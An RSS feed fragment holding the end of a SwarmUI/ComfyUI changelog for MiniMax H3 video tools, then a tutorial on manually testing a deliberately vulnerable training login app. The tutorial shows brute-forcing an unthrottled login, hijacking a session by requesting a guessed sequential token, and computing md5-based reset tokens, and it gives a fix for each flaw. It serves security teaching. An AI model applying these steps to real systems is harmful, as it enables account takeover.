&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/nTrvMWSsf6Jv-geF-hk8r.png&quot; alt=&quot;SwarmUI update screenshot 8&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MiniMax H3 Init Audio&lt;/strong&gt; : new Init Audio parameter group added - select or upload any audio file (or even a video file, its soundtrack is used) and MiniMax H3 generates the video to follow that soundtrack exactly : lipsync, action timing, ambience - and keeps it as the exact final audio track of the output&lt;/li&gt;
&lt;li&gt;Works for Text To Video, Image To Video and References To Video presets and Init Audio Match Duration makes the video length automatically follow the audio length&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Live token meter&lt;/strong&gt; : a real time Tokens meter now appears above the prompt and shows estimated MiniMax H3 token usage (prompt + references + resolution + duration) against the 109k budget - you instantly see when your references or duration are too big before generating&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Face Inpainting upgrades&lt;/strong&gt; : new Face Inpaint Faces parameter selects which detected faces get refined : 1 = biggest face (default), 2 = second biggest, 1,3 or all - faces are ranked biggest to smallest and each selected face is refined in its own pass&lt;/li&gt;
&lt;li&gt;New hallucination guard prevents pasting a wrong / neighbouring face over your subject and Face Inpaint Detector can no longer block generations&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/AkamWjntr59fgMZC6ZJT_.png&quot; alt=&quot;SwarmUI update screenshot 9&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Installer / Updater overhaul&lt;/strong&gt; : Windows_Install_SwarmUI.bat and Windows_Update_SwarmUI.bat are merged into a single Windows_Install_or_Update_SwarmUI.bat&lt;/li&gt;
&lt;li&gt;Windows_Start_SwarmUI.bat is now ultra fast : it starts SwarmUI directly without updating or downloading anything and rebuilds only if the code actually changed&lt;/li&gt;
&lt;li&gt;Update runs are much faster : unchanged extensions (Premium Extensions, Licon MSR, Foley) are skipped with a quick revision check instead of being re-downloaded on every run - FFmpeg and Cloudflared downloads are also skipped when already latest&lt;/li&gt;
&lt;li&gt;Missing Git is now auto installed (winget on Windows, apt-get on Linux) instead of failing with cryptic WinError 2 errors&lt;/li&gt;
&lt;li&gt;SwarmUI is now installed as a full git clone and older shallow installs are auto completed - fixes the scary Tag list empty?! warning of SwarmUI's own update check&lt;/li&gt;
&lt;li&gt;.NET 10 SDK now installs into SwarmUI/.dotnet folder, matching SwarmUI's own launcher search order and persisting on RunPod / SimplePod network volumes - DOTNET_ROOT is exported so in-app Update and Restart now rebuilds with the correct SDK and works properly&lt;/li&gt;
&lt;li&gt;Linux / cloud : Cloudflared is now installed system-wide from Cloudflare's official APT repository and launching prints the public &lt;a rel=&quot;nofollow&quot; href=&quot;https://trycloudflare.com&quot;&gt;trycloudflare.com&lt;/a&gt; URL so you can open SwarmUI from your own computer's browser on RunPod / SimplePod / Massed Compute - new --no-cloudflared and --host options added&lt;/li&gt;
&lt;li&gt;RunPod, SimplePod and Massed Compute instruction files rewritten with exact HOW TO OPEN SWARMUI steps&lt;/li&gt;
&lt;li&gt;Windows_Preset_Delete_Import.bat made more robust : works from any folder and auto picks the correct Python&lt;/li&gt;
&lt;li&gt;To update : get latest zip file, extract and overwrite all, then run Windows_Install_or_Update_SwarmUI.bat and import Amazing_SwarmUI_Presets_v70.json&lt;/li&gt;
&lt;li&gt;Also update your ComfyUI backend to latest V127 and get the 8 new LTX 2.5 ComfyUI presets : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&quot;&gt;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;16-august-2026-update-v168&quot;&gt;16 August 2026 Update V168&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;MiniMax H3 bundle updated to include newest 8-steps LoRA and also necessary Yolo Face model for new automatic ComfyUI Face Inpainting feature in presets for MiniMax H3&lt;/li&gt;
&lt;li&gt;SwarmUI presets are now also using new Ref2V LoRA for references presets, you can switch to FL2V LoRA and see which one performs better so easy from LoRA tab and compare&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/31mkDgPdyyYJuXugFh_c9.png&quot; alt=&quot;SwarmUI update screenshot 10&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Automatic video face inpainting implemented&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/1PtPQTOR77RgteapaFoKY.png&quot; alt=&quot;SwarmUI update screenshot 11&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Get latest zip file, extract and overwrite all, restart PC, run Windows_Update_SwarmUI.bat to update&lt;/li&gt;
&lt;li&gt;Also import latest Amazing_SwarmUI_Presets json file&lt;/li&gt;
&lt;li&gt;You can see impact of Face Inpainting here and now even better working : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.reddit.com/r/comfyui/comments/1vpl5bb/secourses_comfyui_installer_and_ready_presets_now/&quot;&gt;https://www.reddit.com/r/comfyui/comments/1vpl5bb/secourses_comfyui_installer_and_ready_presets_now/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;14-august-2026-update-v166&quot;&gt;14 August 2026 Update V166&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;We have added LTX 2.5 video upscaler and MiniMax Music 3 Text to Music presets into ComfyUI : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&quot;&gt;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;LTX 2.5 video upscaler preset is able to upscale any video, any resolution, any aspect ratio into 2x&lt;/li&gt;
&lt;li&gt;It is a very serious generative upscale so adds lots of details&lt;/li&gt;
&lt;li&gt;Therefore, try to upscale at 1 chunk to have better consistency&lt;/li&gt;
&lt;li&gt;Read preset information carefully after loading into ComfyUI&lt;/li&gt;
&lt;li&gt;Our SECourses Premium Upscaler Pro app also fully supports LTX 2.5 now : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/secourses-pro-150202809&quot;&gt;https://www.patreon.com/SECourses/posts/secourses-pro-150202809&lt;/a&gt;&lt;ul&gt;
&lt;li&gt;It is standalone does not require ComfyUI and it auto downloads models when you first time use&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;To make these presets work out of the box, 2 new ComfyUI core bundles added to the downloader app as below&lt;/li&gt;
&lt;li&gt;LTX 2.5 video generation presets and bundles will be added soon hopefully but its quality lower than MiniMax H3&lt;/li&gt;
&lt;li&gt;Moreover, I have converted the LTX 2.5 Int8 ConvRot myself higher quality and more accurate than officially published ones&lt;ul&gt;
&lt;li&gt;Someone detected one of the model is corrupt and broken - officially released ConvRot Int8 variant&lt;/li&gt;
&lt;li&gt;I converted them from BF16 versions after big research and experimentation&lt;/li&gt;
&lt;li&gt;So our model downloader app will download better quality Int8 ConvRot of LTX 2.5 models&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Our Musubi Trainer convert to quant tab also now supporting LTX 2.5 Int8 ConvRot compile : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/secourses-musubi-137551634&quot;&gt;https://www.patreon.com/SECourses/posts/secourses-musubi-137551634&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/WijMLbMYaPyzFC1RqAI-z.png&quot; alt=&quot;SwarmUI update screenshot 12&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MiniMax Music 3 is reportedly lower quality than ACESTEP XL 1.5&lt;ul&gt;
&lt;li&gt;Our very advanced ACESTEP XL 1.5 Premium app below and it has full LoRA and DoRA training support&lt;ul&gt;
&lt;li&gt;App : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/ace-step-1-5-xl-157675060&quot;&gt;https://www.patreon.com/SECourses/posts/ace-step-1-5-xl-157675060&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;MiniMax Music 3 also missing necessary resources to be trainable&lt;/li&gt;
&lt;li&gt;MiniMax Music 3 prompt templates shared here : &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/MiniMax-AI/MiniMax-Music3/tree/main/skills/music-caption-rewriter/templates&quot;&gt;https://github.com/MiniMax-AI/MiniMax-Music3/tree/main/skills/music-caption-rewriter/templates&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;To get updated model downloader app, as usual, get latest zip file, extract and overwrite all&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;12-august-2026-update-v165&quot;&gt;12 August 2026 Update V165&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;The most professional speed up LoRA maker LightX2V just published new speed LoRAs for the MiniMax H3&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ModelTC/Minimax-H3-Turbo&quot;&gt;https://github.com/ModelTC/Minimax-H3-Turbo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/2ub-CNGAnFqcag9PBzaB1.png&quot; alt=&quot;SwarmUI update screenshot 13&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our MiniMax H3 core bundles now auto downloads both FL2VA Turbo 8-step v1.0 and FL2VA Turbo 4-step v1.0 768p&lt;ul&gt;
&lt;li&gt;Older v0.1 removed from downloads and presets so you can delete it from LoRA downloads if you did download before&lt;/li&gt;
&lt;li&gt;All presets now by default uses FL2VA Turbo 8-step v1.0 but you can switch it to FL2VA Turbo 4-step v1.0 768p&lt;ul&gt;
&lt;li&gt;If you switch to FL2VA Turbo 4-step v1.0 768p you may be needed to overwrite Video shift value and set to 6, SwarmUI default sets to 12&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Sadly LoRAs only made for non-reference model atm but works on both models until they publish specific new LoRA for reference model&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Quick set megapixels feature implemented&lt;ul&gt;
&lt;li&gt;Based on selected aspect ratio, it will set resolution according to your set&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Moreover, now it will display visualization of the output based on aspect ratio and resolution&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/V1Y00me7zZ2rqwiL_OCax.png&quot; alt=&quot;SwarmUI update screenshot 14&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To update get the latest zip file, extract and overwrite all, run Windows_Update_SwarmUI.bat and also use Windows_Preset_Delete_Import.bat to get latest updated presets&lt;/li&gt;
&lt;li&gt;Moreover get latest ComfyUI backend zip file and also update it through installer bat file : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&quot;&gt;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;10-august-2026-update-v162&quot;&gt;10 August 2026 Update V162&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;ComfyUI infinite video with MiniMax H3 tutorial published :&lt;/em&gt; &lt;em&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://youtu.be/1580ZDX-60Q&quot;&gt;https://youtu.be/1580ZDX-60Q&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Hopefully a tutorial for SwarmUI coming soon&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Completely Rebuilt Download Engine&lt;ul&gt;
&lt;li&gt;Exact byte-range resume after cancellation, connection loss, or application restart.&lt;/li&gt;
&lt;li&gt;Previously downloaded ranges are preserved instead of downloaded again.&lt;/li&gt;
&lt;li&gt;One sparse staging file replaces multiple temporary chunks and the expensive final merge.&lt;/li&gt;
&lt;li&gt;Significantly lower temporary disk-space requirements.&lt;/li&gt;
&lt;li&gt;Models are atomically installed only after size and SHA-256 verification.&lt;/li&gt;
&lt;li&gt;Corrupt or incomplete downloads can never replace a finished model.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Faster Hugging Face Downloads&lt;ul&gt;
&lt;li&gt;Native Hugging Face Xet is now recommended and enabled automatically when available.&lt;/li&gt;
&lt;li&gt;Xet automatically scales between 8 and 32 streams according to available system RAM.&lt;/li&gt;
&lt;li&gt;Improved recovery from stalled transfers, rate limits, server errors, and expired signed URLs.&lt;/li&gt;
&lt;li&gt;Removed the previous forced approximately 84.5 GiB Xet cache.&lt;/li&gt;
&lt;li&gt;New downloads default to no chunk cache, with an optional bounded reuse mode.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Improved Download Controls&lt;ul&gt;
&lt;li&gt;Direct URL downloads now appear in the active-download counter.&lt;/li&gt;
&lt;li&gt;Cancel and Cancel All now work with direct URL downloads.&lt;/li&gt;
&lt;li&gt;Completed ranges remain available after cancellation.&lt;/li&gt;
&lt;li&gt;Prevented overlapping standalone URL downloads.&lt;/li&gt;
&lt;li&gt;Small and large direct downloads now use the same atomic download system.&lt;/li&gt;
&lt;li&gt;Improved URL validation and rejection of HTML pages masquerading as model files.&lt;/li&gt;
&lt;li&gt;Safer Hugging Face and CivitAI domain detection.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Catalog And Interface Improvements&lt;ul&gt;
&lt;li&gt;Replaced the unavailable LTX 2.3 x2 spatial upscaler v1.0 with the official v1.1 long-video hotfix : ltx-2.3-spatial-upscaler-x2-1.1.safetensors&lt;/li&gt;
&lt;li&gt;Removed duplicate physical models from search and LoRA displays while keeping aliases searchable.&lt;/li&gt;
&lt;li&gt;Improved automatic folder detection for filenames containing hyphens and underscores.&lt;/li&gt;
&lt;li&gt;Improved mobile and narrow-screen layout.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Updater now detects and repairs incomplete FoleyExtension installations, including optional-image components.&lt;/li&gt;
&lt;li&gt;MiniMax H3 Improvements&lt;ul&gt;
&lt;li&gt;Expanded the MiniMax H3 prompt-enhancement guide to v2.3.&lt;/li&gt;
&lt;li&gt;Added stable reference-roster numbering rules for multi-scene and folder-batch prompts.&lt;/li&gt;
&lt;li&gt;Added clearer image, video, audio, and paired-soundtrack reference rules.&lt;/li&gt;
&lt;li&gt;Corrected first-and-last-frame preset instructions to use Image To Video &amp;gt; Video End Image.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;For updating please also update ComfyUI to latest as well and also this one&lt;/li&gt;
&lt;li&gt;Use Windows_Update_SwarmUI.bat and import latest presets file&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;9-august-2026-update-v160&quot;&gt;9 August 2026 Update V160&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Model downloader app updated and Int4 ConvRot MiniMax H3 models bundle added as Low VRAM&lt;ul&gt;
&lt;li&gt;This bundle is great for 12 GB and below GPUs&lt;/li&gt;
&lt;li&gt;At the presets both ComfyUI and SwarmUI, just replace Int8 Model with below Int4 variants&lt;/li&gt;
&lt;li&gt;This format Int4 ConvRot models right out of the box working with our ComfyUI (use our installers) backend and installers for SwarmUI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/3H-8oJRcgVRlGsOQfdHC5.png&quot; alt=&quot;SwarmUI update screenshot 15&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We are using official code of Lightricks not Kijai implementation therefore our LoRA works better&lt;/li&gt;
&lt;li&gt;However, Kijai had a VRAM optimization and i just implemented it&lt;/li&gt;
&lt;li&gt;You will see it like below in presets, MAX savings reduces VRAM more than 40% but may reduce quality, exact saves 15%+ but same quality&lt;/li&gt;
&lt;li&gt;Make sure to use our ComfyUI installer and update it for all features to run via our bat file&lt;/li&gt;
&lt;li&gt;Remember MiniMax H3 specific features will only appear when you have selected MiniMax H3 architecture model in your model selection&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/l9oai9aivDYkFCep3MGVJ.png&quot; alt=&quot;SwarmUI update screenshot 16&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If you set reference image size to max like this, it improves quality and accuracy but may use more memory, default is match&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/XVCW_oM2PnrKiRqph3Kh3.png&quot; alt=&quot;SwarmUI update screenshot 17&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The importance of Max option is very significant&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/29kT5i1oSsMovFgzmmteZ.png&quot; alt=&quot;SwarmUI update screenshot 18&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Video clip references are processed differently and below explains how they processed when used as a reference&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/jSXFVNwUGWkM89ZiXwICJ.png&quot; alt=&quot;SwarmUI update screenshot 19&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;8-august-2026-update-v159&quot;&gt;8 August 2026 Update v159&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;This is a very major upgrade with so many new amazing stuff so please read carefully&lt;/li&gt;
&lt;li&gt;Famous Lightricks released 4 steps LoRA for MiniMax H3&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/ModelTC/Minimax-H3-Turbo&quot;&gt;https://github.com/ModelTC/Minimax-H3-Turbo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://huggingface.co/lightx2v/Minimax-h3-Turbo/tree/main&quot;&gt;https://huggingface.co/lightx2v/Minimax-h3-Turbo/tree/main&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;I have fully and accurately implemented it into our installers&lt;ul&gt;
&lt;li&gt;Currently not working with SwarmUI or ComfyUI as default but works with our installers due to myself developed premium nodes and extensions&lt;/li&gt;
&lt;li&gt;Make sure to install update your ComfyUI and SwarmUI users must also use our ComfyUI backend&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;This LoRA added into our model downloader MiniMax H3 core bundle please download&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/tndhg6UmE3PbuTQwyn-5_.png&quot; alt=&quot;SwarmUI update screenshot 20&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I have made new presets that uses this LoRA and does 8 steps so now you can use them&lt;ul&gt;
&lt;li&gt;It can go as low as 4 steps but I recommend 8 steps&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;New updated presets are as below&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/_YGXSKIH7iDRYJ65TdpOe.png&quot; alt=&quot;SwarmUI update screenshot 21&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Audio Only preset is super fast and generates audio directly&lt;ul&gt;
&lt;li&gt;Audio generation can be used to see if your prompt and duration matching before generating video since it is like real 2x time speed&lt;ul&gt;
&lt;li&gt;So 1 minute audio generation takes like 30 seconds on RTX 5090 therefore use audio generation preset to see if your prompt and duration matches - for speaking having videos&lt;/li&gt;
&lt;li&gt;So quickly iterate, see if your audio accurate, then generate full video&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Moreover, I recommend you to use 8 steps and 0.4 megapixel resolution to quickly generate your videos, verify they are accurate, then move full generation like 1344x768px and 20 steps high quality&lt;ul&gt;
&lt;li&gt;This works great&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Add references and write prompt field improved so that now you can add videos and audios with trim as you wish as below (trimming is optional)&lt;ul&gt;
&lt;li&gt;For @video1's soundtrack, type ; @audio1 is the first standalone audio file&lt;/li&gt;
&lt;li&gt;According to the above rule, MiniMax_H3_Enchance_Prompt_Feed_For_LLMs.txt file improved and literally working amazing&lt;/li&gt;
&lt;li&gt;It is located inside Prompt_Generate_LTX_MiniMax_And_Presets_How_To_Use folder inside zip file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Trim interface supports both Audio and Video trimming&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/hVER1fj8RCG6NeQ9uJQWd.png&quot; alt=&quot;SwarmUI update screenshot 22&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn-uploads.huggingface.co/production/uploads/6345bd89fe134dfd7a0dba40/ErcR21lIaN7cepp7qvgHv.png&quot; alt=&quot;SwarmUI update screenshot 23&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ComfyUI presets have amazing batch folder processing read changelogs : &lt;a rel=&quot;nofollow&quot; href=&quot;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&quot;&gt;https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;For SwarmUI, you can use Wildcards as a batch processing&lt;ul&gt;
&lt;li&gt;To process them with order not randomly, enable Display Advanced Options&lt;/li&gt;
&lt;li&gt;Then find Swarm Internal and change Wildcard Seed Behaviour to index&lt;/li&gt;
&lt;li&gt;Set regular seed 0 so it will start from first prompt in Wildcard and how many generations you make, it will make with order&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Tutorials</category>
<guid isPermaLink="true">https://coderlegion.com/25573/swarmui-latest-updates</guid>
<pubDate>Thu, 27 Aug 2026 22:56:34 +0000</pubDate>
</item>
<item>
<title>Manually Breaking Authentication — A Full Walkthrough (CWE-307, CWE-330, CWE-640</title>
<link>https://coderlegion.com/25416/manually-breaking-authentication-a-full-walkthrough-cwe-307-cwe-330-cwe-640</link>
<description>&lt;blockquote&gt;&lt;p&gt;⚠️ &lt;strong&gt;Educational / authorized testing only.&lt;/strong&gt; Everything below targets a local, deliberately vulnerable training application, not a live system. Never run these techniques against anything you don't own or don't have explicit written authorization to test.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Automated scanners are great at pattern-matching known vulnerability classes. They're much weaker at authentication flaws that look completely legitimate at the HTTP level — a 200, a 401, a token — and only become a bug once you understand &lt;em&gt;how&lt;/em&gt; the value was generated. This walkthrough is a fully manual assessment of three such bugs in a deliberately vulnerable login system, captured start to finish with nothing but a proxy-backed browser and a network tab.&lt;/p&gt;
&lt;h3 id=&quot;the-bugs&quot;&gt;The bugs&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;# &lt;/th&gt;&lt;th&gt;Bug &lt;/th&gt;&lt;th&gt;CWE &lt;/th&gt;&lt;th&gt;OWASP&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1 &lt;/td&gt;&lt;td&gt;&lt;code&gt;POST /login&lt;/code&gt; has no rate limit, delay, or lockout &lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://cwe.mitre.org/data/definitions/307.html&quot;&gt;CWE-307&lt;/a&gt; &lt;/td&gt;&lt;td&gt;A07:2021 – Identification and Authentication Failures&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2 &lt;/td&gt;&lt;td&gt;Session tokens are sequential integers, not random &lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://cwe.mitre.org/data/definitions/330.html&quot;&gt;CWE-330&lt;/a&gt; &lt;/td&gt;&lt;td&gt;A07:2021&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;3 &lt;/td&gt;&lt;td&gt;Password-reset token is &lt;code&gt;md5(username)&lt;/code&gt; — deterministic, not random or single-use &lt;/td&gt;&lt;td&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://cwe.mitre.org/data/definitions/640.html&quot;&gt;CWE-640&lt;/a&gt; &lt;/td&gt;&lt;td&gt;A07:2021&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;phase-1-no-brute-force-protection&quot;&gt;Phase 1 — No brute-force protection&lt;/h3&gt;
&lt;p&gt;Three wrong passwords for &lt;code&gt;admin&lt;/code&gt;, back to back, then the real one. All four &lt;code&gt;POST /login&lt;/code&gt; requests return instantly — no &lt;code&gt;429&lt;/code&gt;, no CAPTCHA, no increasing delay. Filtering the network tab down to &lt;code&gt;login&lt;/code&gt; shows the whole sequence sitting there in plain sight: nothing on the server side ever notices the repetition.&lt;/p&gt;
&lt;p&gt;That's the entire proof for CWE-307. A real attacker isn't limited to four guesses — they're limited by whatever rate their network connection allows, because the server places no limit of its own.&lt;/p&gt;
&lt;h3 id=&quot;phase-2-predictable-session-tokens&quot;&gt;Phase 2 — Predictable session tokens&lt;/h3&gt;
&lt;p&gt;The login endpoint hands out tokens from a shared, incrementing counter — regardless of which account is logging in. &lt;code&gt;alice&lt;/code&gt; gets &lt;code&gt;1001&lt;/code&gt;. &lt;code&gt;bob&lt;/code&gt; gets &lt;code&gt;1002&lt;/code&gt;. That's already suspicious, but the real proof of impact is this: clear your cookies, open a private window, and request &lt;code&gt;/whoami?session=1001&lt;/code&gt; with &lt;strong&gt;zero credentials&lt;/strong&gt;. The server hands back &lt;code&gt;alice&lt;/code&gt;'s full identity, because &quot;knowing a number&quot; and &quot;being alice&quot; are treated as equivalent.&lt;/p&gt;
&lt;h3 id=&quot;phase-3-a-reset-token-that-isn-t-a-secret&quot;&gt;Phase 3 — A reset token that isn't a secret&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/reset-token?username=alice&lt;/code&gt; returns a 32-character hex string that looks random — until you request it again and get the &lt;em&gt;exact same value&lt;/em&gt; back. It's not a secret; it's &lt;code&gt;md5(&quot;alice&quot;)&lt;/code&gt;, a pure function of public data. Anyone who knows a username can compute their &quot;reset token&quot; offline, with no server interaction and no account access at all.&lt;/p&gt;
&lt;h3 id=&quot;from-evidence-to-finding&quot;&gt;From evidence to finding&lt;/h3&gt;
&lt;p&gt;Each bug was routed from the network capture into a manual finding — evidence field populated with the actual request/response pairs, CWE and OWASP mapping attached, and a concrete fix:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Finding A&lt;/strong&gt; (Medium) — add per-account and per-IP throttling with exponential backoff or lockout, plus a CAPTCHA after repeated failures.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding B&lt;/strong&gt; (High) — issue tokens from a cryptographically secure random source (128+ bits), never a counter.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Finding C&lt;/strong&gt; (High) — generate a random, single-use, time-limited reset token, stored server-side and delivered only to the account's verified contact method.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;takeaway&quot;&gt;Takeaway&lt;/h3&gt;
&lt;p&gt;None of this required exploit tooling — it required patience, a network tab, and the discipline to capture evidence before writing a single conclusion. Scanners are excellent at known-signature bugs; deterministic secrets and predictable state are exactly the class of finding that still needs a human reading raw traffic.&lt;/p&gt;
&lt;p&gt;What's the last &quot;boring&quot; auth bug your team caught that a scanner missed? Curious to hear how others are covering this gap.&lt;/p&gt;
&lt;p&gt;Try it yourself → &lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/sendwavehub/scan-target-demo-apps&quot;&gt;https://github.com/sendwavehub/scan-target-demo-apps&lt;/a&gt;&lt;br&gt;
